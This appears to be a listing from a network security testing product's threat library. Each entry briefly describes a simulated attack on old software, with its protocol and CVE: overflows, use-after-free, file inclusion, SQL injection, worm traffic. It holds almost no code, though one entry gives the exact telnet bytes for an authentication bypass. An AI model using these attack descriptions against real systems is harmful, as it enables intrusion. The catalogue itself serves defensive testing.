Threat File Name:	TSL20120607-03_Apple_QuickTime_QTVR_QTVRStringAtom_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime QTVR QTVRStringAtom Parsing Buffer Overflow(IPv6)
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to a signedness error, which leads to a stack-based buffer overflow when processing a QTVR string atom having an overly large stringLength parameter. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted QuickTime VR file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0667
OSVDB:	81938
Threat File Name:	FSC20091013-08_Microsoft_Windows_Media_Player_ASF_Integer_Overflows.xml
Executive Description:	Microsoft Windows Media Player ASF Integer Overflows
Detailed Description:	Two integer overflow vulnerabilities exist in Microsoft Windows Media Player that could allow remote code execution. The vulnerabilities are due to the way Microsoft Windows Media Runtime handles specially crafted ASF files. A remote attacker can exploit these vulnerabilities by enticing a target user to open a malicious media file. In the case of successful code injection and execution, the behavior of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the currently user. In the case where code execution is not successful, the application could terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2527
Threat File Name:	FSC20070116-20_Sun_Microsystems_Java_GIF_File_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Sun Microsystems Java GIF File Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Sun Microsystems Java Development Kit (JDK), Java Runtime Environment (JRE), and Software Developers Kit (SDK). The vulnerability is caused due to improper checking of the image width when parsing GIF files. A remote attacker may leverage this vulnerability to inject and execute arbitrary code on the target host, in the context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0243
Threat Package:	Standard
Threat File Name:	TSL20120612-14_Microsoft_Internet_Explorer_Developer_Toolbar_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Developer Toolbar Use After Free
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free) when processing script code interacting with the debugger console API. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open either an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1874

Threat File Name:	FSC20041020-01_Microsoft_Windows_NetDDE_Buffer_Overflow.xml
Executive Description:	Microsoft Windows NetDDE Buffer Overflow
Detailed Description:	Microsoft Windows is prone to a vulnerability in the NetDDE service, which provides a network connection mechanism for data exchange between applications. A specially crafted message with an overly long NetDDE share name can overflow a stack buffer, due to insufficient boundary check. A successful exploitation attempt could lead to the execution of arbitrary code with system level privileges.
Protocol Type:	SMB
CVEID:	CVE-2004-0206
Threat Package:	Standard
Threat File Name:	FSC20090206-03_RealNetworks_RealPlayer_IVR_Overly_Long_Filename_Code_Execution.xml
Executive Description:	RealNetworks RealPlayer IVR Overly Long Filename Code Execution
Detailed Description:	A remote code-execution vulnerability exists in RealNetwork's RealPlayer application. The vulnerability is due to incorrect handling of the filename length in an IVR (Internet Video Recording) file. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious IVR file, potentially causing arbitrary code to be injected and executed on the target. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, RealPlayer will terminate.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0375
Threat Package:	Standard
Threat File Name:	coppermine_lfi.xml
Executive Description:	Coppermine <= 1.4.12 Local File Inclusion
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Coppermine is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	ms06-005.xml
Executive Description:	Windows Media Player Malformed Bitmap
Detailed Description:	This threat sends a malformed bitmap with a 'pointer' record set to 0. This calls a memory allocation fault, which can lead to code execution. The payload crafted in this particular threat causes a shell to bind on port 4444 if the payload executes successfully. If the allocation fault does not occur on the right boundary then a crash will normally occur in Windows Media Player. Windows Media Player is a client application. This threat would typically come from a malicious webserver, as emulated here, over port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0006
OSVDB:	23131
Threat Package:	Standard
Threat File Name:	TSL20141209-24_Microsoft_Internet_Explorer_CVE_2014_8966_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-8966 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-8966
OSVDB:	115577
Threat File Name:	FSC20091021-09_Xpdf_Splash_DrawImage_Integer_Overflow.xml
Executive Description:	Xpdf Splash DrawImage Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Xpdf. The vulnerability is due to lack of input validation when handling images within PDF documents. A remote attacker can exploit this vulnerability by enticing the target user to open a specially crafted PDF file with the affected application. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged in user. In such a case, the behaviour of the target is dependent on the intention of the malicious code. In the case where code execution is not successful, the application could terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2009-3604
Threat Package:	Standard
Threat File Name:	lupper_dl_IPv6.xml
Executive Description:	Lupper Worm Binary Download (IPv6 Version)
Detailed Description:	This threat downloads the malicious lupper worm binary file that then is executed to infect new hosts. This threat file contains a very large server side response file, which takes a while to load. Please wait a few Minutes after loading the threat. This threat connects to a webserver to download the malicious binary, which typically listens on port 80. This threat is a client side attack and uses the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mobb2.xml
Executive Description:	Internet Explorer HHCtrl Heap Overflow
Detailed Description:	This threat sends a malformed web page that causes Internet Explorer to corrupt its heap. This threat is sent from a malicious web server, which would typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3898
OSVDB:	27231
Threat Package:	Standard
Threat File Name:	solaris_lpd_unlink.xml
Executive Description:	Solaris LPD Arbitrary File Deletion

Detailed Description:	This threat attempts to delete an arbitrary file off of the filesystem. This is done by sending a malicious request to the line printer daemon on Sun Solaris. This can be used to mount further attacks that take advantage of missing or corrupt files. The Unix line printer port is typically port TCP port 515.
Protocol Type:	LPR
CVEID:	CVE-2001-0353
OSVDB:	18650
Threat Package:	Standard
Threat File Name:	smf_rfi.xml
Executive Description:	SMF Forum SMF.PHP Remote File Include Vulnerability
Detailed Description:	This threat uses a crafted url to leverage a vulnerability in web sites running SMF Forum software, to include a malicious php script to be executed in the context of the affected site. SMF Forum is a web application that typically listens on port 80.
Protocol Type:	HTTP
OSVDB:	27432
Threat Package:	Standard
Threat File Name:	TSL20130212-20_Microsoft_Internet_Explorer_InsertElement_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer InsertElement Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0026
OSVDB:	90123
Threat File Name:	ipswitch_ws-ftp_d_bof_IPv6.xml
Executive Description:	Ipswitch WS_FTP Server XCRC XSHA1 and XMD5 Commands Buffer Overflow Vulnerabilities (IPv6 Version)
Detailed Description:	This threat uses a large malformed XMD5 string to cause a denial of service condition or execute code via stack overflow. Ipswitch WS_FTP server listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-5000
OSVDB:	30974
Threat Package:	Standard
Threat File Name:	FSC20070109-17_Microsoft_Excel_Malformed_Palette_Record_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Malformed Palette Record Memory Corruption (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing palette records in Excel documents. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel document, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0031
Threat Package:	Standard
Threat File Name:	FSC20090519-02_Microsoft_IIS_WebDAV_Request_Directory_Security_Bypass.xml
Executive Description:	Microsoft IIS WebDAV Request Directory Security Bypass
Detailed Description:	A security bypass vulnerability exists in the Microsoft Internet Information Services (IIS) WebDAV. The vulnerability is due to the way IIS handles WebDAV requests for directories requiring authentication. A remote attacker can exploit the vulnerability to bypass access restrictions on WebDAV server. A successful attack attempt will allow the attacker to bypass security controls, upload or download arbitrary files to protected WebDAV folders.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1535
Threat Package:	Standard
Threat File Name:	fcring_rfi.xml
Executive Description:	FCRing <= 1.31 (fcring.php s_fuss) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. FCRing is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	brim_rfi.xml
Executive Description:	Brim 1.2.0pre3 renderer Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Brim is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20040825-01_Symantec_Multiple_Products_ISAKMPd_Denial_of_Service_IPv6.xml
Executive Description:	Symantec Multiple Products ISAKMPd Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the way a component of multiple Symantec products processes ISAKMP messages. The vulnerability allows a malicious user to create a denial of service condition on the targeted service. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
CVEID:	CVE-2004-0369
Threat Package:	Standard
Threat File Name:	TSL20120612-26_Microsoft_XML_Core_Services_Uninitialized_Object_Access.xml
Executive Description:	Microsoft XML Core Services Uninitialized Object Access
Detailed Description:	A memory corruption vulnerability exists in Microsoft XML Core Services. The vulnerability is due to an error when attempting to access an object in memory that has not been initialized. By enticing a target user to visit a malicious website, a remote attacker can cause memory corruption and execute arbitrary code on a target system within the security context of the currently logged-on user.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1889
OSVDB:	82873
Threat File Name:	smb_trans2_IPv6.xml
Executive Description:	Samba Trans2 Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Samba daemon. Samba is used to provide Windows based File sharing capabilities on Unix machines. This threat would typically be directed at port 139. (IPv6 Version)
Protocol Type:	NETBIOS_SS/IPv6
CVEID:	CVE-2003-0201
OSVDB:	11983
Threat Package:	Standard
Threat File Name:	FSC20071127-04_IBM_Lotus_Notes_Lotus_1-2-3_Work_Sheet_File_Viewer_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes Lotus 1-2-3 Work Sheet File Viewer Buffer Overflow
Detailed Description:	There is a buffer overflow vulnerability exists in IBM Lotus Notes. The vulnerability is due to a boundary error within the Lotus 1-2-3 file viewer. A remote attacker could leverage this vulnerability by enticing a target user to view the maliciously crafted email attachment. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6593
Threat Package:	Standard
Threat File Name:	nustore_sqlii.xml
Executive Description:	NuStore 1.0 (Products.asp) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. NuStore is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	tikiwiki_xss_IPv6.xml
Executive Description:	TikiWiki Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	allows an attacker to inject arbitrary javascript code which is then executed by the web server. TikiWiki is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2635
Threat Package:	Standard
Threat File Name:	TSL20170711-11_Microsoft_Windows_System_Information_Console_XXE_Injection_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows System Information Console XXE Injection Information Disclosure (IPv6 Version)
Detailed Description:	An XML external entity (XXE) injection vulnerability has been reported in the System Information Console component of Microsoft Windows. The vulnerability is due to a failure to properly handle external entity references in XML files. A remote attacker could exploit this vulnerability by enticing a target user into opening a crafted XML file with System Information Console. Successful exploitation results in the disclosure of file contents from the target system.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-8557
Threat File Name:	http_get_passwd_IPv6.xml
Executive Description:	HTTP GET /etc/passwd (IPv6 Version)
Detailed Description:	This threat is an attempt to gain the passwd file from a poorly configured webserver. Many embedded webserver do not perform strict checking of URLs requested and can be misused to gain entry. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0845
Threat Package:	Standard
Threat File Name:	FSC20051115-01_VERITAS_NetBackup_vmd_Shared_Library_Buffer_Overflow.xml
Executive Description:	VERITAS NetBackup vmd Shared Library Buffer Overflow
Detailed Description:	There exists a stack-based buffer overflow vulnerability in VERITAS NetBackup Enterprise Server. The flaw is caused by insufficient boundary checks when processing user supplied message. An unauthorized attacker may leverage this vulnerability to inject and execute arbitrary code on the target system.
Protocol Type:	TCP
CVEID:	CVE-2005-3116
Threat Package:	Standard
Threat File Name:	ms06-055_IPv6.xml
Executive Description:	Internet Explorer Vector Markup Language Exploit (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer to unexpectedly crash or run malicious code. Internet Explorer is a web browser. This attack would typically come from a malicious web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4868
Threat Package:	Standard
Threat File Name:	FSC20071121-05_FLAC_Project_libFLAC_Picture_Metadata_MIME-Type_Size_Buffer_Overflow_IPv6.xml
Executive Description:	FLAC Project libFLAC Picture Metadata MIME-Type Size Buffer Overflow (IPv6 Version)
Detailed Description:	A heap memory overflow vulnerability exists in FLAC library embedded and used by various products. The vulnerability is due to boundary errors when processing Free Lossless Audio Codec (FLAC) audio files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted FLAC audio file. Successful exploitation may lead to arbitrary code execution in the security context of the affected application, normally using the privileges of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4619
Threat Package:	Standard

Threat File Name:	FSC20060213-01_IBM_Tivoli_Directory_Server_LDAP_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Directory Server LDAP Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the IBM Tivoli Directory Server. The vulnerability is caused by a failure to properly verify the length of an object in an LDAP message. An attacker may leverage this issue by sending a crafted LDAP message to terminate a vulnerable Tivoli Directory Server, or to inject arbitrary code which will be executed in the security context of the Tivoli Directory Server process. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2006-0717
Threat Package:	Standard
Threat File Name:	FSC20090210-16_Microsoft_Office_Visio_Invalid_Tag_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Office Visio Invalid Tag Handling Memory Corruption
Detailed Description:	A remote code-execution vulnerability exists in Microsoft Visio. The vulnerability is due to incorrect handling of crafted tags in a crafted Microsoft Visio file. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious Microsoft Visio file, potentially causing arbitrary code to be injected and executed on the target. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Microsoft Visio will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0096
Threat Package:	Standard
Threat File Name:	TSL20130912-08_HP_ProCurve_Manager_SNAC_UpdateDomainControllerServlet_Code_Execution.xml
Executive Description:	HP ProCurve Manager SNAC UpdateDomainControllerServlet Code Execution
Detailed Description:	A vulnerability has been reported in HP ProCurve Manager SNAC. The vulnerability is due to directory traversal in the UpdateDomainControllerServlet class. A remote attacker could exploit the vulnerability by sending specially crafted data to a vulnerable version of the software. Successful exploitation could result in code execution under the context of SYSTEM.
Protocol Type:	HTTPS
CVEID:	CVE-2013-4811
OSVDB:	97154
Threat File Name:	baytechAuthBypass.xml
Executive Description:	Bay Tech Authentication Bypass
Detailed Description:	This threat bypasses the network login ability through telnet by sending the bytes 1B0D0A to a vulnerable host. This allows the user to login to the privileged application without supplying a username and password.
Protocol Type:	Telnet
CVEID:	CVE-2005-0957
OSVDB:	15299
Threat Package:	Standard
Threat File Name:	firefoxGIF_IPv6.xml
Executive Description:	Firefox GIF Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is an attack on the Firefox web browser, causing it to crash. This attack could also lead to remote code execution, allowing a user to run arbitrary code on the target machine. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0399
OSVDB:	14937
Threat Package:	Standard
Threat File Name:	x86NOOPtcp2_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 2 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	mambo_comvideo_rfi_IPv6.xml
Executive Description:	com_videodb Mambo Component <= 0.3en Remote Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that contains malicious PHP code that is then passed to the "mosConfig_absolute_path" parameter and executed by the effected server. Mambo Component com_videodb is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-CVE-2006-3736
OSVDB:	27431
Threat Package:	Standard
Threat File Name:	TSL20121231-02_Microsoft_Internet_Explorer_applyElement_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer applyElement Use After Free
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by the dereferencing of a pointer after the corresponding memory has been released when processing script code calling the applyElement() method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-4792
OSVDB:	88774
Threat File Name:	FSC20090811-19_Microsoft_Remote_Desktop_Client_Heap_Corruption.xml

Executive Description:	Microsoft Remote Desktop Client Heap Corruption
Detailed Description:	A heap overflow vulnerability exists in Microsoft Remote Desktop client. The vulnerability is due to an error when Microsoft Remote Desktop Connection (formerly known as Terminal Services Client) processes specific parameters returned by the RDP server. A remote attacker could exploit this vulnerability by enticing the target user to connect to a malicious RDP server with a vulnerable version of the product. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	RDP
CVEID:	CVE-2009-1133
Threat Package:	Standard
Threat File Name:	awstats_cmi_c.xml
Executive Description:	AWStats Logfile Parameter Remote Command Execution Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query containing a shell command which is executed by the server via the "logfile" parameter which does not properly filter shell metacharacters. AWStats is a webapplication with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060327-11_Symantec_VERITAS_NetBackup_vnetd_Buffer_Overflow.xml
Executive Description:	Symantec VERITAS NetBackup vnetd Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the Symantec VERITAS NetBackup product line. The vulnerability is a result of the lack of boundary checks during the processing of certain messages to the vnetd service. An attacker may leverage this vulnerability to inject and execute arbitrary code on the target host with system level privileges.
Protocol Type:	Proprietary
CVEID:	CVE-2006-0991
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_ReplicateHInHTTP_IPv6.xml
Executive Description:	Fuzz HTTP-Version with HHHHHHTTP/1.1 (IPv6 Version)
Detailed Description:	Fuzzes the HTTP-Version field by replicating the letter H in HTTP between 0 and 1024 times. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	ms02-015_dso_IPv6.xml
Executive Description:	MS02-015 Internet Explorer DSO Attack (IPv6 Version)
Detailed Description:	This threat sends out a malicious attack from the virtual server, making use of the DSO flaw in earlier versions of Internet Explorer. This attack could allow a malicious webpage to run any command on the target in the context of the current user. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0078
OSVDB:	3029
Threat Package:	Standard
Threat File Name:	TSL20161026-04_Joomla!_CMS_Policy_Bypass_and_Privilege_Escalation_Vulnerabilities_IPv6.xml
Executive Description:	Joomla! CMS Policy Bypass and Privilege Escalation Vulnerabilities (IPv6 Version)
Detailed Description:	Multiple vulnerabilities have been reported in Joomla! CMS. These vulnerabilities include privilege escalation and policy bypass. Using a deprecated function that does not perform sufficient input validation, a remote attacker can register on a target website where registration is disabled. In addition, an attacker can leverage the lack of sufficient input validation in the deprecated function to register with elevated privileges.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-8869
Threat File Name:	phpartenaire_rfi_IPv6.xml
Executive Description:	PHPartenaire Dix.PHP3 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PHPatenaire is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5032
Threat Package:	Standard
Threat File Name:	vd_xlink_IPv6.xml
Executive Description:	Omni-NFS Stack Overflow (IPv6 Version)
Detailed Description:	This threat attacks a stack based overflow in the Omni-NFS server available for windows. This attack goes to port 2049 typically. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-5780
Threat Package:	Standard
Threat File Name:	FSC20040525-01_Norton_AntiVirus_2004_ActiveX_DoS_IPv6.xml
Executive Description:	Norton Anti-Virus 2004 ActiveX DoS (IPv6 Version)
Detailed Description:	There is a denial of service condition within an ActiveX object that is included within Norton Anti-virus 2004. An attacker can create a page that instantiates the vulnerable ActiveX object and then creates a denial of service condition on the victim computer. It has also been reported that arbitrary code can be executed on the remote client if the path of the executable is already known. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0487
Threat Package:	Standard
Threat File Name:	FSC20090402-02_IBM_DB2_Database_Server_CONNECT_Request_Denial_of_Service.xml
Executive Description:	IBM DB2 Database Server CONNECT Request Denial of Service
Detailed Description:	A denial of service vulnerability exists in IBM DB2 Database Server. The flaw is due to insufficient input validation while processing malformed connect data streams. Remote attackers could exploit this vulnerability by sending a malicious Distributed Relational Database Architecture (DRDA) connect data stream to the server. A successful exploitation can cause the server process to enter an infinite loop, resulting in a Denial of Service (DoS) condition.

Protocol Type:	DRDA
CVEID:	CVE-2009-0172
Threat Package:	Standard
Threat File Name:	nimda9.xml
Executive Description:	Nimda Request URL 9
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080811-05_Apache_Tomcat_allowLinking_URIencoding_Directory_Traversal_Vulnerabilit.xml
Executive Description:	Apache Tomcat allowLinking URIencoding Directory Traversal Vulnerability
Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2008-2938
Threat Package:	Standard
Threat File Name:	FSC20070508-17_Microsoft_Excel_BIFF_File_Format_Named_Graph_Record_Parsing_Stack_Overflow.xml
Executive Description:	Microsoft Excel BIFF File Format Named Graph Record Parsing Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient boundary checking while processing Named Graph Record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0215
Threat Package:	Standard
Threat File Name:	lupper30_IPv6.xml
Executive Description:	Lupper Worm 30 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20150519-06_Microsoft_Internet_Explorer_CTxtPtr_Memory_Access_Error.xml
Executive Description:	Microsoft Internet Explorer CTxtPtr Memory Access Error
Detailed Description:	An information disclosure vulnerability has been reported in Internet Explorer. The vulnerability is due to an error when handling specially crafted XML data. An attack targeting this vulnerability can result in injection and execution of arbitrary code. If code execution is successful, the behaviour of the attack target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the application would terminate abnormally.
Protocol Type:	HTTP/HTTPS
Threat File Name:	FSC20081210-04_Microsoft_Internet_Explorer_XML_Processing_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer XML Processing Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The flaw is due to an error when handling specially crafted XML data. An attack targeting this vulnerability can result in injection and execution of arbitrary code. If code execution is successful, the behaviour of the attack target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the application would terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4844
Threat Package:	Standard
Threat File Name:	TSL20131002-01_Microsoft_Internet_Explorer_applyElement_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer applyElement Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when running script code calling the applyElement method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-3112
OSVDB:	94107
Threat File Name:	aabot.xml
Executive Description:	aa.bot Phone Home
Detailed Description:	This threat is an HTTP request for a file used to track the spread of aa.bot. By logging the attempts to access this file, the creator of the bot can have a reasonable idea of how many systems the bot has infected. The bot pulls the file down via HTTP, which uses port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100810-06_Microsoft_Internet_Explorer_Iframe_Uninitialized_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Iframe Uninitialized Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in the handling of a uninitialized memory. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2556
Threat Package:	Standard
Threat File Name:	TSL20150504-12_ClamAV_UPX_File_Handling_Integer_Overflow_IPv6.xml
Executive Description:	ClamAV UPX File Handling Integer Overflow IPv6 version
Detailed Description:	An integer overflow vulnerability exists in ClamAV antivirus software. The vulnerability is due to an error in "upx.c" while parsing A remote attacker could exploit this vulnerability to cause a denial of service condition on the target system. UPX-packed executable files.
Protocol Type:	HTTP/SMTP/IMAP/POP3.IPV6
CVEID:	CVE-2015-2170
Threat File Name:	xchat_bof.xml
Executive Description:	XChat SOCKS 5 Remote Buffer Overrun Vulnerability
Detailed Description:	This server based threat responds to a SOCKS 5 request by the xchat client, over-running an internal buffer with the returned data. XChat is an IRC client which can connect through a SOCKS 5 proxy which typically listens on port 1080.
Protocol Type:	SOCKS5
CVEID:	CVE-2004-0409
OSVDB:	5490
Threat File Name:	FSC20071105-21_Apple_QuickTime_Color_Table_Atom_Movie_File_Handling_Heap_Corruption.xml
Executive Description:	Apple QuickTime Color Table Atom Movie File Handling Heap Corruption
Detailed Description:	There exists a memory corruption vulnerability in Apple QuickTime. The flaw is due to boundary errors when processing QuickTime Movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime Movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4677
Threat Package:	Standard
Threat File Name:	TSL20131002-01_Microsoft_Internet_Explorer_applyElement_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer applyElement Use After Free
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when running script code calling the applyElement method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,
CVEID:	CVE-2013-3112
OSVDB:	94107
Threat File Name:	MSsqlDoS.xml
Executive Description:	MS02-039 MS SQL Server 2000 UDP Ping Flood
